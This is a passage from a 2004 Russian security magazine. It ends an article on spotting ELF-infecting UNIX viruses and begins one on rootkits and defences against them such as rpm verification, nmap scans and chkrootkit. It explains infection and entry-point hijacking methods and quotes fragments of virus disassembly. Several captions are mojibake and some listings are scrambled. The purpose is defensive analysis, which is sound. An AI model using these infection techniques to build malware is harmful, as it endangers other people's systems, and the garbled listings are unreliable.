безопасность деляют ровно 8002180h – 8000915h == 186Bh байт, и именно это число фигурирует в машинном коде (если же вы все еще продолжаете сомневаться, загляните в Intel Instruction Reference Set: команда E8h это команда относительного вызова): Ëèñòèíã 11. Ôðàãìåíò óòèëèòû ping, èñïîëüçóþùåé, êàê è ìíîãèå äðóãèå ïðîãðàììû, îòíîñèòåëüíûå ññûëêè ìåæäó ñåêöèÿìè êîäîâîãî ñåãìåíòà .init:08000910 _init ; CODE XREF: start+51↓p .init:08000910 E8 6B 18 00 00 .init:08000915 C2 00 00 retn .init:08000915 _init … .text:08002180 sub_8002180 ; CODE XREF: _init↑p

proc near ↵ call 0 endp

sub_8002180

proc near ↵

Неудивительно, что после заражения файл перестает работать (или станет работать некорректно)! Но если это все-таки произошло, загрузите файл в отладчик/дизассемблер и посмотрите – соответствуют ли относительные вызовы первых кодовых секций пункту своего назначения. Вы легко распознаете факт заражения, даже не будучи специалистом в области реинжиниренга. В этом мире ничего не дается даром! За скрытность вирусного вторжения последнему приходится расплачиваться разрушением большинства заражаемых файлов. Более корректные вирусы располагают свое тело в начале кодового сегмента – в секции .init. Работоспособность заражаемых файлов при этом не нарушается, но присутствие вируса становится легко обнаружить, т.к. секция .init редко бывает большой, и даже небольшая примесь постороннего кода сразу же вызывает подозрение.

Ðèñóíîê 7. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì ðàñøèðåíèÿ åãî êîäîâîé ñåêöèè

Некоторые вирусы (например, вирус Linux.NuxBee) записывают себя поверх кодового сегмента заражаемого файла, перемещая затертую часть в конец кодовой секции (или, что более просто, в конец последнего сегмента файла). Получив управление и выполнив всю работу «по хозяйству», вирус забрасывает кусочек своего тела в стек и восстанавливает оригинальное содержимое кодового сегмента. Учитывая, что модификация кодового сегмента по умолчанию запрещена и разрешать ее вирусу не резон (в этом случае факт заражения очень легко обнаружить), вирусу приходится прибегать к низкоуровневым манипуляциям с атрибутами страниц памяти, вызывая функцию mprotect, практически не встречающуюся в «честных» приложениях. Другой характерный признак: в том месте, где кончается вирус и начинается незатертая область оригиналь-

№1(14), январь 2004

ного тела программы, образуется своеобразный дефект. Скорее всего, даже наверняка, граница раздела двух сред пройдет посередине функции оригинальной программы, если еще не рассечет машинную команду. Дизассемблер покажет некоторое количество мусора и хвост функции с отсутствующим прологом.

Создание своей собственной секции Наиболее честный (читай – «корректный») и наименее скрытный способ внедрения в файл состоит в создании своей собственной секции (сегмента), а то и двух секций – для кода и для данных соответственно. Разместить такую секцию можно где угодно. Хоть в начале файла, хоть в конце (вариант внедрения в сегмент с раздвижкой соседних секций мы уже рассматривали выше). Ëèñòèíã 12. Êàðòà ôàéëà, çàðàæåííîãî âèðóñîì, âíåäðÿþùèìñÿ â ñîáñòâåííîðó÷íî ñîçäàííóþ ñåêöèþ è ýòèì ñåáÿ äåìàñêèðóþùèì (ïîäðîáíåå îá ýòîì ðàññêàçûâàëîñü â ïðåäûäóùåé ñòàòüå ýòîãî öèêëà «Áîðüáà ñ âèðóñàìè – îïûò êîíòðòåððîðèñòè÷åñêèõ îïåðàöèé», â îêòÿáðüñêîì íîìåðå æóðíàëà)

Внедрение между файлом и заголовком Фиксированный размер заголовка a.out-файлов существенно затруднял эволюцию этого, в общем-то неплохого формата, и в конечном счете привел к его гибели. В последующих форматах это ограничение было преодолено. Так, в ELF-файлах длина заголовка хранится в двухбайтовом поле e_ehize, оккупировавшем 28h и 29h байты, считая от начала файла. Увеличив заголовок заражаемого файла на величину, равную длине своего тела, и сместив оставшуюся часть файла вниз, вирус сможет безболезненно скопировать себя в образовавшееся пространство между концом настоящего заголовка и началом Program Header Table. Ему даже не придется увеличивать длину кодового сегмента, поскольку в большинстве случаев тот начинается с самого первого байта файла. Единственное, что будет вынужден сделать вирус, сдвинуть поля p_offset всех сегментов на соответствующую величину вниз. Сегмент, начинающийся с нулевого смещения, никуда перемещать не надо, иначе вирус не будет спроецирован в память. (Смещения сегментов в файле отсчитываются от начала файла, но не от конца заголовка, что нелогично и идеологически неправильно, зато упрощает программирование). Поле e_phoff, задающее смещение Program Head Table, также должно быть скорректировано. Аналогичную операцию следует проделать и со смещениями секций, в противном случае отладка/дизассемблирование зараженного файла станет невозможной (хотя файл будет нормально запускаться). Существующие вирусы забывают скорректировать содержимое полей sh_offset, чем и выдают себя, однако следует быть гото-

безопасность вым к тому, что в следующих поколениях вируса этот недостаток будет устранен. Впрочем, в любом случае такой способ заражения слишком заметен. В нормальных программах исполняемый код никогда не попадает в ELF-заголовок, и его наличие там красноречиво свидетельствует о вирусном заражении. Загрузите исследуемый файл в любой HEX-редактор (например, HIEW) и проанализируйте значение поля e_ehize. Стандартный заголовок, соответствующий текущим версиям ELF-файла, на платформе X86 (кстати, недавно переименованной в платформу Intel) имеет длину, равную 34 байтам. Другие значения в «честных» ELFфайлах мне видеть пока не доводилось (хотя я и не утверждаю, что таких файлов действительно нет – опыт работы с UNIX у меня небольшой). Только не пытайтесь загрузить зараженный файл в дизассемблер. Это бесполезно. Большинство из них (и IDA PRO в том числе) откажутся дизассемблировать область заголовка, и исследователь о факте заражения ничего не узнает! Ниже приведен фрагмент файла, зараженного вирусом UNIX.inheader.6666. Обратите внимание на поле длины ELF-заголовка, обведенное квадратиком. Вирусное тело, начинающиеся с 34h байта, залито бордовым цветом. Сюда же направлена точка входа (в данном случае она равна 8048034h):

Ðèñóíîê 8. Ôðàãìåíò HEX-äàìïà ôàéëà, çàðàæåííîãî âèðóñîì UNIX.inheader.6666, âíåäðÿþùèìñÿ â ELF-çàãîëîâîê. Ïîëÿ ELFçàãîëîâêà, ìîäèôèöèðîâàííûå âèðóñîì, âçÿòû â ðàìêó, à ñàìî òåëî âèðóñà çàëèòî áîðäîâûì öâåòîì

Как вариант, вирус может вклиниться между концом ELF-заголовка и началом Program Header Table. Заражение происходит так же, как и предыдущем случае, однако длина ELF-заголовка остается неизменной. Вирус оказывается в «сумеречной» области памяти, формально принадлежащей одному из сегментов, но де-факто считающейся «ничейной» и потому игнорируемой многими отладчиками и дизассемблерами. Если только вирус не переустановит на себя точку входа, дизассемблер даже не сочтет нужным заругаться по этому поводу. Поэтому какой бы замечательной IDA PRO ни была, а просматривать исследуемые файлы в HIEW все-таки необходимо! Учитывая, что об этом догадываются далеко не все эксперты по безопасности, данный способ заражения рискует стать весьма перспективным. К борьбе с вирусами, внедряющимися в заголовок ELF-файлов, будьте готовы!

Перехват управления путем коррекции точки входа Успешно внедриться в файл – это только полдела. Для поддержки своей жизнедеятельности всякий вирус должен тем или иным способом перехватить на себя нить управления. Классический способ, активно использовавшийся еще во времена MS-DOS, сводится к коррекции точки входа – одного из полей ELF/COFF/a.out заголовков файлов. В ELF-заголовке эту роль играет поле e_entry,

в a.out – a_entry. Оба поля содержат виртуальный адрес (не смещение, отсчитываемое от начала файла) машинной инструкции, на которую должно быть передано управление. При внедрении в файл вирус запоминает адрес оригинальной точки входа и переустанавливает ее на свое тело. Сделав все, что хотел сделать, он возвращает управление программе-носителю, используя сохраненный адрес. При всей видимой безупречности этой методики она не лишена изъянов, обеспечивающих быстрое разоблачение вируса. Во-первых, точка входа большинства честных файлов указывает на начало кодовой секции файла. Внедриться сюда трудно, и все существующие способы внедрения связаны с риском необратимого искажения исполняемого файла, приводящего к его полной неработоспособности. Точка входа, «вылетающая» за пределы секции .text, – явный признак вирусного заражения. Во-вторых, анализ всякого подозрительного файла начинается в первую очередь с окрестностей точки входа (и ею же обычно и заканчивается), поэтому независимо от способа вторжения в файл вирусный код сразу же бросается в глаза. В-третьих, точка входа – объект пристального внимания легиона дисковых ревизоров, сканеров, детекторов и всех прочих антивирусов. Использовать точку входа для перехвата управления – слишком примитивно и, по мнению большинства создателей вирусных программ, даже позорно. Современные вирусы осваивают другие методики заражения, и закладываться на анализ точки входа может только наивный (вот так и рождаются байки о неуловимых вирусах…).

Перехват управления путем внедрения своего кода в окрестности точки входа Многие вирусы никак не изменяют точку входа, но внедряют по данному адресу команду перехода на свое тело, предварительно сохранив его оригинальное содержимое. Несмотря на кажущуюся элегантность этого алгоритма, он довольно капризен в работе и сложен в реализации. Начнем с того, что для сохранения оригинальной машинной инструкции, расположенной в точке входа, вирус должен определить ее длину, но без встроенного дизассемблера это сделать невозможно. Большинство вирусов ограничивается тем, что сохраняет первые 16-байт (максимально возможная длина машинной команды на платформе Intel), а затем восстанавливает их обратно, так или иначе обходя запрет на модификацию кодового сегмента. Кто-то снабжает кодовый сегмент атрибутом Write, делая его доступным для записи (если не трогать атрибуты секций, то кодовый сегмент все равно будет можно модифицировать, но IDA PRO об этом не расскажет, т.к. с атрибутами сегментов она работать не умеет), кто-то использует функцию mprotect для изменения атрибутов страниц на лету. И тот, и другой способы слишком заметны, а инструкция перехода на тело вируса заметна без очереди! Более совершенные вирусы сканируют стартовую процедуру заражаемого файла в поисках инструкций call или

безопасность jmp. А найдя таковую, подменяют вызываемый адрес на адрес своего тела. Несмотря на кажущуюся неуловимость, обнаружить такой способ перехвата управления очень легко. Первое и главное – вирус, в отличие от легально вызываемых функций, никак не использует переданные ему в стеке аргументы. Он не имеет никаких понятий об их числе и наличии (машинный анализ количества переданных аргументов немыслим без интеграции в вирус полноценного дизассемблера, оснащенного мощным интеллектуальным анализатором). Вирус тщательно сохраняет все изменяемые регистры, опасаясь, что функции могут использовать регистровую передачу аргументов с неизвестным ему соглашением. Самое главное – при передаче управления оригинальной функции вирус должен либо удалить с верхушки стека адрес возврата (в противном случае их там окажется два) либо вызывать оригинальную функцию не командой call, но командой jmp. Для «честных» программ, написанных на языках высокого уровня, и то и другое крайне нетипично, благодаря чему вирус оказывается немедленно разоблачен. Вирусы, перехватывающие управление в произвольной точке программы (зачастую чрезвычайно удаленной от точки входа), выявить намного труднее, поскольку приходится анализировать довольно большие, причем заранее не определенные, объемы кода. Впрочем, с удалением от точки входа стремительно возрастает риск, что данная ветка программы никогда не получит управление, поэтому все известные мне вирусы не выходят за границы первого встретившегося им RET.

Основные признаки вирусов Искажение структуры исполняемых файлов – характерный, но недостаточный признак вирусного заражения. Быть может, это защита хитрая такая или завуалированный способ самовыражения разработчика. К тому же некоторые вирусы ухитряются внедриться в файл практически без искажений его структуры. Однозначный ответ дает лишь полное дизассемблирование исследуемого файла, однако это слишком трудоемкий способ, требующий усидчивости, глубоких знаний операционной системы и неограниченного количества свободного времени. Поэтому на практике обычно прибегают к компромиссному варианту, сводящемуся к беглому просмотру дизассемблерного листинга на предмет поиска основных признаков вирусного заражения. Большинство вирусов использует довольно специфический набор машинных команд и структур данных, практически никогда не встречающихся в «нормальных» приложениях. Конечно, разработчик вируса при желании может все это скрыть, и распознать зараженный код тогда не удастся. Но это в теории. На практике же вирусы обычно оказываются настолько тупы, что обнаруживаются за считанные доли секунды. Ведь чтобы заразить жертву, вирус прежде должен ее найти, отобрав среди всех кандидатов только файлы «своего» типа. Для определенности возьмем ELF. Тогда вирус будет вынужден считать его заголовок и сравнить четыре первых байта со строкой « FELF», которой соответствует ASCII-последовательность 7F 45 4C 46. Конеч-

№1(14), январь 2004

но, если тело вируса зашифровано, вирус использует хешсравнение или же другие хитрые приемы программирования, строки «ELF» в теле зараженного файла не окажется, но более чем в половине всех существующих UNIXвирусов она все-таки есть, и этот прием, несмотря на свою изумительную простоту, очень неплохо работает. Загрузите исследуемый файл в любой HEX-редактор и попробуйте отыскать строку « ELF». В зараженном файле таких строк будет две – одна непосредственно в заголовке, другая – в кодовой секции или секции данных. Только не используйте дизассемблер! Очень многие вирусы преобразуют строку « FELF» в 32-разрядную целочисленную константу 464С457Fh, которая маскирует присутствие вируса, но при переключении в режим дампа сразу же «проявляется» на экране. Ниже приведен внешний вид файла, зараженного вирусом VirTool.Linux.Mmap.443, который использует именно такую методику:

Ðèñóíîê 9. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì VirTool.Linux.Mmap.443. Â HEX-äàìïå ëåãêî îáíàðóæèâàåòñÿ ñòðîêà «ELF», èñïîëüçóåìàÿ âèðóñîì äëÿ ïîèñêà æåðòâ «ñâîåãî» òèïà

Вирус Linux.Winter.343 (также известный под именем Lotek) по этой методике обнаружить не удается, поскольку он использует специальное математическое преобразование, зашифровывая строку « ELF» на лету: Ëèñòèíã 13. Ôðàãìåíò âèðóñà Lotek, òùàòåëüíî ñêðûâàþùåãî ñâîé èíòåðåñ ê ELF-ôàéëàì .text:08048473 mov eax, 0B9B3BA81h ↵ ; -"ELF" (ìèíóñ "ELF") .text:08048478 add eax, [ebx] ↵ ; ïåðâûå ÷åòûðå áàéòà æåðòâû .text:0804847A jnz short loc_804846E ↵↵ ; → ýòî íå ELF

Непосредственное значение B9B3BA81h, соответствующее текстовой строке « » (в приведенном выше листинге оно выделено жирным шрифтом), представляет собой не что иное, как строку « ELF», преобразованную в 32-разрядную константу и умноженную на минус единицу. Складывая полученное значение с четырьмя первыми байтами жертвы, вирус получает ноль, если строки равны, и ненулевое значение в противном случае. Как вариант, вирус может дополнять эталонную строку « ELF» до единицы, и тогда в его теле будет присутствовать последовательность 80 BA B3 B9. Реже встречаются циклические сдвиги на одну, две, три… и семь позиций в различные стороны, неполные проверки (т.е. проверки на совпадение двух или трех байт) и некоторые другие операции – всех не перечислишь!

безопасность Более уязвимым с точки зрения скрытности является механизм реализации системных вызовов. Вирус не может позволить себе тащить за собой всю библиотеку LIBC, прилинкованную к нему статической компоновкой, поскольку существование подобного монстра трудно оставить незаметным. Существует несколько способов решения этой проблемы, и наиболее популярный из них сводится к использованию nativeAPI операционной системы. Поскольку последний является прерогативой особенностей реализации данной конкретной системы, создатели UNIX де-факто отказались от многочисленных попыток его стандартизации. В частности, в System V (и ее многочисленных клонах) обращение к системным функциям происходит через дальний call по адресу 0007:00000000, а в Linux это осуществляется через служебное прерывание INT 80h (перечень номеров системных команд можно найти в файле /usr/include/asm/unistd.h). Таким образом, использование nativeAPI существенно ограничивает ареал обитания вируса, делая его непереносимым. «Честные» программы в большинстве своем практически никогда не работают через nativeAPI (хотя утилиты из комплекта поставки Free BSD 4.5 ведут себя именно так), поэтому наличие большого количества машинных команд INT 80h/CALL 0007:0000000 (CD 80/9A 00 00 00 00 07 00) с высокой степенью вероятности свидетельствует о наличии вируса. Для предотвращения ложных срабатываний (т.е. обнаружения вируса там, где и следов его нет), вы должны не только обнаружить обращения к nativeAPI, но и проанализировать последовательность их вызовов. Для вирусов характерна следующая цепочка системных команд: sys_open, sys_lseek, old_mmap/sys_munmap, sys_write, sys_close, sys_exit. Реже используются вызовы exec и fork. Их, в частности, использует вирус STAOG.4744. Вирусы VirTool.Linux. Mmap.443, VirTool.Linux.Elfwrsec.a, PolyEngine.Linux.LIME. poly, Linux.Winter.343 и ряд других обходятся без этого. Ниже приведен фрагмент файла, зараженного вирусом VirTool.Linux.Mmap.443. Наличие незамаскированных вызовов INT 80h с легкостью разоблачает агрессивную природу программного кода, указывая на склонность последнего к саморазмножению:

Ðèñóíîê 10. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì VirTool.Linux.Mmap.443, äåìàñêèðóþùèì ñâîå ïðèñóòñòâèå ïðÿìûì îáðàùåíèåì ê native API îïåðàöèîííîé ñèñòåìû

А вот так для сравнения выглядят системные вызовы «честной» программы – утилиты cat из комплекта поставки Free BSD 4.5 (см. рис. 11). Инструкции прерывания не разбросаны по всему коду, а сгруппированы в собственных функциях-обертках. Конечно, вирус тоже может «обмазать» системные вызовы слоем переходного кода, но вряд ли у него получится подделать характер оберток конкретного заражаемого файла.

Ðèñóíîê 11. Ôðàãìåíò «÷åñòíîãî» ôàéëà cat èç êîìïëåêòà ïîñòàâêè Free BSD, àêêóðàòíî ðàçìåùàþùåãî native-API âûçîâû â ôóíêöèÿõ-îáåðòêàõ

Некоторые (впрочем, довольно немногочисленные) вирусы так просто не сдаются и используют различные методики, затрудняющие их анализ и обнаружение. Наиболее талантливые (или скорее прилежные) разработчики динамически генерируют инструкцию INT 80h/ CALL 0007:00000000 на лету и, забрасывая ее на верхушку стека, скрытно передают ей управление. Как следствие – в дизассемблерном листинге исследуемой программы вызов INT 80h/INT 80h/CALL 0007:00000000 будет отсутствовать, и обнаружить такие вирусы можно лишь по многочисленным косвенным вызовам подпрограмм, находящихся в стеке. Это действительно нелегко, т.к. косвенные вызовы в изобилии присутствуют и в «честных» программах, а определение значений вызываемых адресов представляет собой серьезную проблему (во всяком случае при статическом анализе). С другой стороны, таких вирусов пока существует немного (да и те – сплошь лабораторные), так что никаких поводов для паники пока нет. А вот шифрование критических к раскрытию участков вирусного тела встречается гораздо чаще. Однако для дизассемблера IDA PRO это не бог весть какая сложная проблема, и даже многоуровневая шифровка снимается без малейшего умственного и физического напряжения. Впрочем, на каждую старуху есть проруха, и IDA Pro тому не исключение. При нормальном развитии событий IDA Pro автоматически определяет имена вызываемых функций, оформляя их как комментарии. Благодаря этому замечательному обстоятельству, для анализа исследуемого алгоритма нет нужды постоянно лезть в справочник. Такие вирусы, как, например, Linux.ZipWorm, не могут смириться с подобным положением дел и активно используют специальные приемы программирования, сбивающие дизассемблер с толку. Тот же Linux.ZipWorm проталкивает номера вызываемых функций через стек, что

безопасность вводит IDA в замешательство, лишая ее возможности определения имен последних: Ëèñòèíã 14. Ôðàãìåíò âèðóñà Linux.ZipWorm, àêòèâíî è íåáåçóñïåøíî ïðîòèâîñòîÿùåãî äèçàññåìáëåðó IDA Pro .text:080483C0 push 13h .text:080483C2 push 2 .text:080483C4 sub ecx, ecx .text:080483C6 pop edx ; // EAX := 2. Ýòî âûçîâ fork .text:080483C7 pop eax ; LINUX – ← IDA íå ñìîãëà îïðåäåëèòü èìÿ âûçîâà! .text:080483C8 int 80h

С одной стороны, вирус действительно добился поставленной перед ним цели, и дизассемблерный листинг с отсутствующими автокомментариями с первого приступа не возьмешь. Но давайте попробуем взглянуть на ситуацию под другим углом. Сам факт применения антиотладочных приемов уже свидетельствует если не о заражении, то во всяком случае о ненормальности ситуации. Так что за противодействие анализу исследуемого файла вирусу приходится расплачиваться ослабленной маскировкой (в программистских кулуарах по этому случаю обычно говорят «из зараженного файла вирусные уши торчат»). Уши будут торчать еще и потому, что большинство вирусов никак не заботится о создании стартового кода или хотя бы плохонькой его имитации. В точке входа «честной» программы всегда (ну или практически всегда) расположена нормальная функция с классическим прологом и эпилогом, автоматически распознаваемая дизассемблером IDA Pro, вот например: Ëèñòèíã 15. Ïðèìåð íîðìàëüíîé ñòàðòîâîé ôóíêöèè ñ êëàññè÷åñêèì ïðîëîãîì è ýïèëîãîì text:080480B8 start text:080480B8 text:080480B8 text:080480B9 text:080480BB … text:0804813B text:0804813B start

Ëèñòèíã 16. Àëüòåðíàòèâíûé ïðèìåð íîðìàëüíîé ñòàðòîâîé ôóíêöèè .text:08048330 .text:08048330 .text:08048330 .text:08048332 .text:08048333 .text:08048335 .text:08048338 .text:08048339 .text:0804833A .text:0804833B .text:08048340 .text:08048345 .text:08048346 .text:08048347 .text:0804834C .text:08048351 .text:08048352 .text:08048353 .text:08048353

public start start proc near xor ebp, ebp pop esi mov ecx, esp and esp, 0FFFFFFF8h push eax push esp push edx push offset sub_804859C push offset sub_80482BC push ecx push esi push offset loc_8048430 call ___libc_start_main hlt nop nop start endp

Большинство зараженных файлов выглядит иначе. В частности, стартовый код вируса PolyEngine.Linux.LIME.poly выглядит так: Ëèñòèíã 17. Ñòàðòîâûé êîä âèðóñà PolyEngine.Linux.LIME.poly ; Alternative name is 'main' .data:080499C1 LIME_END: .data:080499C1 mov eax, .data:080499C6 mov ebx, ; "Generates 50 [LiME] encrypted…" .data:080499CB mov ecx, .data:080499D0 mov edx, ; LINUX – sys_write .data:080499D5 int 80h .data:080499D7 mov ecx,

4 1 offset gen_msg 2Dh 32h

proc near

Заключение

push mov sub

Несмотря на свой, прямо скажем, далеко не маленький размер, настоящая статья охватила далеко не весь круг изначально намеченных тем. Незатронутыми остались вопросы «прорыва» виртуальной машины интерпретатором, техника выявления Stealth-вирусов и противодействия им, жизненный цикл червей и комплекс мер, направленных на предотвращение возможного вторжения… Обо всем этом и многом другом мы поговорим в следующий раз, если, конечно, к тому времени эта тема никому не надоест…

ebp ebp, esp esp, 0Ch

ret endp

В некоторых случаях стартовые функции передают бразды правления libc_start_main и заканчиваются по hlt без ret. Это вполне нормальное явление. «Вполне» потому что очень многие вирусы, написанные на ассемблере, получают в «подарок» от линкера такой же стартовый код.

№1(14), январь 2004

Поэтому присутствие стартового кода в исследуемом файле, не дает нам никаких оснований считать его здоровым.

безопасность

ЧТО ТАКОЕ ROOTKITS, И КАК С НИМИ БОРОТЬСЯ Защищенный компьютер – мертвый компьютер. Сказано на каком-то форуме

СЕРГЕЙ ЯРЕМЧУК 24

безопасность На новый сервер установлен Linux последнего выпуска, убраны все лишние сервисы, firewall настроен так, что завидуют друзья. Теперь можно сидеть почитывать художественную литературу и попивать кофе. А вот и нет. Так может думать админ, который ни разу не пробовал свои силы во взломе своих систем. К сожалению, находясь на курсах, заметил странную закономерность. Некоторые из присутствующих вслепую доверяли firewall, основываясь, как правило, на очень простом предположении, что если он отсеивает ненужную часть трафика, то взломщику просто нет путей для проникновения на компьютер. Да, действительно, firewall, действуя по классической схеме «свой-чужой», отсекает неугодные администратору пакеты. Но если, например, открыт 80 порт для доступа к веб-серверу, то и пакеты, направленные на такой порт, беспрепятственно пройдут через него и, естественно, следуя законам Мерфи, обязательно найдется уязвимость в таком «легальном» сервисе, не говоря уже, что сам firewall может стать объектом атаки. Дальше, как говорится, все это уже дело времени. Чтобы иметь возможность и далее возвращаться во взломаную систему, при этом, чтобы сисадмин не мог их увидеть, а система их действия не регистрировала, нападающий устанавливает современный вариант троянского коня, набор утилит – rootkits. Обычно в этот набор входит sniffer, при помощи которого прослушивается сеть для возможного перехвата ценной информации (пароля, например), модифицированный набор основных системных программ (ps, ls, who, find, netstat, ifconfig ...), скрипты для чистки логов. Для дистанционного управления запускается нелегальный демон удаленного доступа, открывающий сетевой порт, который «не замечают» модифицированные утилиты. При этом, чтобы сохранить максимальное приближение к оригинальному файлу, трояненные утилиты имитируют ту же дату создания файла и размер.

Небольшая история развития rootkits В начале 80-х все было скучно до безобразия. Команда last показывала, кто и когда хулиганил в системе, команды ls и ps выдавали новые файлы и неизвестные процессы, netstat сообщала текущие сетевые подключения и порты, на которых слушались входящие подключения, команда ifconfig сообщала администратору, если интерфейс локальной сети на основе протокола ethernet был установлен в «неопределенный» (PROMISCIOUS) режим, означающий работу программы-сниффера, следы его пребывания можно было также отыскать в /var/log/messages. Естественно, такое положение дел не устраивало взломщиков, и были придуманы методы, позволяющие скрыть их действия. Описание этих методов появились в некоторых электронных и печатных журналах, таких, как 2600 (http://www.2600.com/phrack/) или Phrack (http://www.phrack.org/). Например, статья «Hiding Out Under Unix» Black Tie Affair (25 номер, файл р25-06) описывает возможность, и приводится исходный код, позволяющий путем модификации файла /etc/wtmp скрыть свое пребывание в системе. И понеслось, через некоторое время появились программы, «умеющие» модифицировать свой timestamp и подгонять размер под требуемый. Теперь такие программы, содержащие троян, отличить от оригинальных

№1(14), январь 2004

очень было затруднительно, и сисадмин считал, что работает на чистой системе. Эти программы были объединены в единый комплект утилит, названный «Root Kits», исходно разработанные Lord Somer, сегодня находятся уже в шестой версии с несколькими вариантами. Версия 3 – Linux Root Kit 3 (lrk3) от декабря 1996 года содержала обычные методы перехвата паролей и сокрытия действий. Администратор, зная входящие в комплект файлы, мог вычислить зараженные путем просмотра в текстовом редакторе, сравнивая строки в файлах, кроме того, команда find могла сообщить обо всех измененных за 24 часа файлах. Следующая версия lrk4, выпущенная в ноябре 1998 года, получила еще несколько измененных программ (pidof, killall, find, top, crontab ...), позволяющих взять систему под больший контроль. Чтобы администратор системы не заметил изменений, они были защищены паролем (по умолчанию satori), который можно было заменить при компиляции. Но у rootkits такого класса есть один существенный недостаток, а именно они изменяют файлы на диске и поэтому могут быть обнаружены при сравнении контрольных сумм. Так что при ее контроле такой rootkit выявить труда не составляло. Но прогресс на месте не стоял, и был разработан новый класс rootkit, способных поражать ядро, использующих модули ядра (Linux Kernel Module – LKM). Номер 50 (от апреля 1997 года) журнала Phrack содержал краткую, но очень поучительную статью «Abuse of the Linux Kernel for Fun and Profit» (p50-05), после которой уже нельзя было полностью доверять своему ядру. Принцип работы такого rootkit прост. Как известно, применение модулей ядра позволяет расширить возможности ядра операционной системы без необходимости его перекомпиляции. Злоумышленник пишет код модуля ядра и загружает его. В дальнейшем, работая в пространстве ядра, такой модуль перехватывает системные вызовы и модифицирует ответ по своему предназначению, скрывая таким образом взлом системы. Но теперь взломщик получает практически безграничную власть в системе. Он может без проблем фильтровать логи, прятать файлы и процессы, выходить за пределы chroot, скрывать состояние системы и многое другое, зависящее только от фантазии взломщика. Программы контроля целостности типа Tripwire бесполезны против этого класса rootkit. Боролись с этим злом на первом этапе, контролируя добавление и удаление модулей, ограничением круга пользователей (демонов), которые могли работать с модулями или вообще отказом от их использования (т.е. ответ N в опции CONFIG_MODULES) и собирая монолитное ядро. Некоторое время это как-то помогало, но Сильвио Цезаре (Silvio Cesare) обосновал возможность загрузки модуля в ядро, используя устройство /dev/kmem, управляющее памятью ядра, и написал программу kinsmod, позволяющую проделать это, хотя это все намного сложнее. Для информации загляните на его страницу http://www.big.net.au/~silvio/, там до недавнего времени лежал файл runtime-kernel-kmem-patching.txt, но сейчас почему-то пропал или, например, целых три статьи в номере 58 (файлы р58-0х06, р58-0х07, р58-0х08) журнала Phrack «Sub proc_root Quando Sumus (Advances in Kernel Hacking)», «Linux on-the-fly kernel patching without LKM» и «IA32 ADVANCED FUNCTION HOOKING», и есть информация в следующих номерах журнала.

безопасность Были предложены несколько вариантов решений проблемы, например, по адресу http://www.cs.uni-potsdam.de/ homepages/students/linuxer/, можно найти вариант Себастьяна Крамера (Sebastian Krahmer), предлагающего контролировать и регистрировать вызов execve() и в комбинации с контролем логов пробовать отловить вторгшегося. Вот список типично изменяемых системных вызовов: sys_clone, sys_close, sys_execve, sys_fork, sys_ioctl, sys_kill, sys_mkdir, sys_read, sys_readdir, sys_write. Но до окончательной победы еще ой как далеко.

M – отличается состояние (включая разрешения и тип

Как защититься от rootkits?

Чтобы не возиться со всей системой и немного упростить задачу, в первую очередь необходимо проверять пакеты net-tools, fileutils, util-linux, procps, psmisc, и findutils (командой rpm -V имя_пакета). Правда, в приведенном примере это все конфигурационные файлы, в которых, естественно, появились изменения по сравнению с оригиналом, а вот если будут попадаться файлы из каталогов, содержащих исполняемые файлы, то необходимо насторожиться. При помощи команды rpm -qf /path/to/file можно проверить, является ли данный файл частью пакета. Обнаруженное расхождение можно, естественно, предварительно сохранив измененные файлы для дальнейшего изучения, тут же восстановить.

Так как rootkits – это программы, обеспечивающие беспроблемное существование взломщика, а не программы для взлома системы, то чтобы от них не избавляться, лучше их попросту не подцеплять. А посему настраиваем firewall, убираем все лишние сервисы, и вакцинируем систему, т.е. устанавливаем всевозможные патчи, обновляем ПО, убираем поддержку модулей ядра или хотя бы периодически проверяем загруженные при помощи lsmod (если еще доверяете этой утилите). При помощи специальных патчей к ядру вроде LIDS (http://www.lids.org/) ограничиваем права root, лишая тем самым нападающего части преимуществ, а также защищаем исполняемые файлы, установив для них режим «только для чтения» – READONLY, чтобы никто не мог их заменить или удалить, а файлам журналов разрешить только дозапись данных APPEND, чтобы исключить возможность стирания данных. Запустив команду netstat -an, запоминаем все открытые порты на свежей системе, а заодно убеждаемся, что ничего не забыто. В дальнейшем необходимо для выяснения возможных различий производить сканирование при помощи внешнего чистого компьютера (испытуемому лучше не доверять). Используем, например, nmap. # nmap -v -P0 -sU -sT -p 1-65535 IP_ADDRESS

Таким образом, проверим все TCP- и UDP-порты, хотя это и займет некоторое время. Свежеустанавливаемый софт проверяем при помощи контрольной суммы md5sum ( http://www.gnu.org/software/ textutils/textutils.html). Те, кто пользуется rpm-based дистрибутивами, могут воспользоваться возможностями этого менеджера пакетов. Когда устанавливается новая программа, то данные о пакете в целом и отдельных файлах, его составляющих, в том числе и контрольная сумма, заносятся в базу данных. Поэтому, введя команду: # rpm -Va > file

можно получить представление об измененных файлах. Если файл окажется пустой, то изменений нет, но, правда, это еще не подтверждает, что система чиста. Но вот если появятся подобные строки: # rpm -Va S.5....T c /etc/hotplug/usb.usermap S.5....T c /etc/sysconfig/pcmcia

то измененные файлы необходимо проверить:

файла).

S – отличается размер файла. 5 – отличается сумма MD5 . D – не соответствует число основных/второстепенных устройств.

L – не соответствует путь readLink(2). U – отличается пользователь-владелец. G – отличается группа-владелец. T – отличается mTime.

# rpm -Uvh -force <èìÿ_ôàéëà.rpm>

Программы проверки контроля целостности системы типа Tripwire (http://www.tripwire.org/) или AIDE – Advanced Intrusion Detection Environment (http://www.cs.tut.fi/~rammer/ aide.html) позволяют автоматизировать процесс подсчета контрольных сумм и выдачи результата сравнения. Но при их использовании желательно базу держать на отдельном носителе, тем самым также защищая ее от модификации. Также возможное заражение может подсказать непривычное поведение любимой утилиты, т.к. ее протрояненный вариант может иметь немного отличающиеся опции запуска. И наконец специально обученная на нахождение rootkit утилита – chkrootkit (http://www.chkrootkit.org/), которая выдаст предупреждение в случае, если на машине появится какой-либо известный ей rootkit. Обращаю еще раз внимание на слово «известный», так как ситуация в данном случае аналогична таковой с антивирусами, определяя с ходу уже зарегистрированный вирус, те могут пропустить чтото новенькое. Пакет состоит из нескольких утилит, выполняющих свою задачу. Так, утилита chkrootkit проверяет сигнатуры в следующих файлах: aliens, asp, bindshell, lkm, rexedcs, sniffer, wted, w55808, scalper, slapper, z2, amd, basename, biff, chfn, chsh, cron, date, du, dirname, echo, egrep, env, find, fingerd, gpm, grep, hdparm, su, ifconfig, inetd, inetdconf, init, 